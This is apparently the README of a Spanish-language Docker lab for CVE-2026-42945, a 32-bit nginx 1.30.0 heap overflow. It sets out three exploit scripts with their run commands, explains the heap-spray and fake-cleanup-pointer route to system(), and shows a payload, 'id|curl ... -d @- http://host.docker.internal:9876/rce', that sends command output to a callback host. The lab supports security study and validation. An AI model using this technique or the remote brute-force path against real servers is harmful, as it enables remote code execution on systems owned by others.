CVE-2026-42945 nginx laboratorio de explotación de 32 bits con ASLR habilitado
Este repositorio es un laboratorio Docker reproducible para estudiar CVE-2026-42945 en nginx 1.30.0. Contiene un objetivo vulnerable de 32 bits, un desencadenante primitivo, un validador RCE de dirección conocida asistido por laboratorio y un controlador de fuerza bruta sin introspección.
El límite de prueba importa:
exploit/trigger_oob.py demuestra la primitiva de escritura OOB en el heap.exploit/lab_known_address.py prueba el mecanismo RCE en Docker, pero está asistido por laboratorio porque lee /proc/<pid>/maps a través de docker exec.exploit/remote_bruteforce.py no usa SSH, Docker, /proc, ptrace, ni direcciones conocidas. Realiza fuerza bruta sobre candidatos de páginas de heap SAFE y páginas de libc, y trata el callback saliente como la única señal de éxito.La ruta de fuerza bruta remota aún depende del diseño ASLR actual del proceso maestro de nginx. Si la dirección de spray no se puede representar con el alfabeto de bytes seguro para URI requerido, una pasada completa fallará hasta que el proceso maestro de nginx se reinicie o recargue y ASLR se reestablezca. Al igual que el validador de dirección conocida, la ruta RCE completa debe ejecutarse en un host Docker nativo de Linux x86 en lugar de un objetivo Docker Desktop emulado por QEMU.
/proc/<pid>/maps exponga el diseño de direcciones real de 32 bits del worker de nginx. Docker Desktop en hosts que no sean x86 puede ejecutar el objetivo bajo qemu-i386; eso es suficiente para validar el fallo OOB, pero no la matemática RCE de dirección conocida.Construir e iniciar el laboratorio nginx vulnerable de 32 bits:
docker compose up -d --build
curl http://127.0.0.1:19331/
Desencadenar la escritura OOB controlada:
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20
Ejecutar el validador RCE determinista solo para Docker:
python3 exploit/lab_known_address.py --restart-until-safe
Ejecutar el controlador de fuerza bruta sin introspección:
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
--shuffle --seed 42945 \
--attempt-delay 0.02 \
--batch-size 5000 --batch-cooldown 10 \
--progress-every 1000
host.docker.internal se utiliza como host de callback para que el comando incrustado en el worker de nginx pueda enviar por POST la salida de id de vuelta al listener iniciado por el script de exploit. El archivo Compose mapea este nombre para los motores Docker de Linux.

El objetivo de Compose construye nginx 1.30.0 como un binario de estilo release de 32 bits y lo inicia en 127.0.0.1:19331. Un simple GET / devuelve ok, demostrando que el objetivo es accesible antes de que comience la explotación.

El desencadenante envía un segmento URI capturado compuesto por bytes + a través de la ruta vulnerable rewrite más set $myvar $1. + es escapado por NGX_ESCAPE_ARGS, por lo que el pase de copia escribe tres bytes por cada byte de entrada. El script imprime el tamaño esperado del desbordamiento antes de enviar la solicitud.

El validador de dirección conocida está intencionalmente asistido. Lee las asignaciones en vivo del heap del worker y de libc desde el contenedor Docker, calcula la dirección del manejador de cleanup falso, envía la misma secuencia de exploit a nivel de conexión y espera el callback. La salida uid=65534(nobody) es el worker de nginx ejecutando id. Esta captura de pantalla es de una ejecución nativa de Docker en x86; en configuraciones Docker Desktop que no sean x86, el script puede detenerse con un requisito de host nativo qemu-i386 en su lugar.

El script de fuerza bruta remota elimina las lecturas de direcciones solo de laboratorio. Enumera candidatos de páginas de heap SAFE y páginas de libc y utiliza únicamente el callback como oráculo de éxito. Agotar una pasada sin callback no refuta la primitiva; generalmente significa que el diseño actual del maestro de nginx no es favorable para este alfabeto de payload, o la pasada necesita un reinicio/recarga del maestro para reestablecer ASLR.
El exploit utiliza tres roles de solicitud concurrentes:
/spray mantiene viva una asignación del cuerpo de la solicitud y coloca un registro falso ngx_pool_cleanup_t junto con el comando de callback en la memoria heap del worker de nginx./api/<payload> alcanza el script de reescritura vulnerable y retrasa el terminador final de la solicitud hasta que la solicitud víctima esté en su lugar./ crea el pool de solicitudes adyacente cuyo puntero cleanup es el objetivo de la escritura OOB controlada.Cuando se destruye el pool de solicitudes corrupto, nginx sigue el puntero cleanup sobrescrito. En la ruta RCE de laboratorio, el manejador de cleanup falso apunta a system() y su puntero de datos apunta a:
id|curl -sm3 -d @- http://host.docker.internal:9876/rce
El listener del exploit trata ese POST como la única señal de éxito RCE.
docker compose down
Este laboratorio es para validación de seguridad autorizada y educación. Manténgalo aislado, no exponga el puerto del laboratorio a redes no confiables y no ejecute el exploit contra sistemas que no posea o para los que no tenga permiso explícito para probar.